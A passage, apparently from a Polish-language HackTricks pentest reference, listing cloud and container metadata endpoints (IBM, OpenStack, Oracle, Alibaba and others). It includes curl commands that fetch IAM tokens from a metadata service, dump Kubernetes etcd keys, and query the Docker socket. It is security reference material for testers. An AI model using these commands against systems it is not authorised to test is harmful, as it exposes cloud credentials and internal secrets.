curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Dokumentacja dotycząca usług metadanych różnych platform jest przedstawiona poniżej, podkreślając metody, za pomocą których można uzyskać dostęp do informacji konfiguracyjnych i uruchomieniowych dla instancji. Każda platforma oferuje unikalne punkty końcowe do uzyskania dostępu do swoich usług metadanych.
## Packetcloud
Aby uzyskać dostęp do metadanych Packetcloud, dokumentację można znaleźć pod adresem: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
Konieczność nagłówka nie jest tutaj wspomniana. Metadane można uzyskać przez:
- `http://169.254.169.254/openstack`
## HP Helion
Konieczność nagłówka nie jest tutaj również wspomniana. Metadane są dostępne pod adresem:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud oferuje szereg punktów końcowych do uzyskania dostępu do różnych aspektów metadanych:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
- `http://192.0.0.192/latest/meta-data/`
- `http://192.0.0.192/latest/attributes/`
## Alibaba
Alibaba oferuje punkty końcowe do uzyskania dostępu do metadanych, w tym identyfikatorów instancji i obrazów:
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
- `http://100.100.100.200/latest/meta-data/image-id`
## Kubernetes ETCD
Kubernetes ETCD może przechowywać klucze API, wewnętrzne adresy IP i porty. Dostęp demonstruje się przez:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Metadane Dockera można uzyskać lokalnie, z przykładami podanymi dla pobierania informacji o kontenerach i obrazach:
- Prosty przykład uzyskania dostępu do metadanych kontenerów i obrazów przez gniazdo Dockera:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Wewnątrz kontenera użyj curl z gniazdem Dockera:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Metadane Ranchera można uzyskać, używając:
- `curl http://rancher-metadata/<version>/<path>`
{{#include ../../banners/hacktricks-training.md}}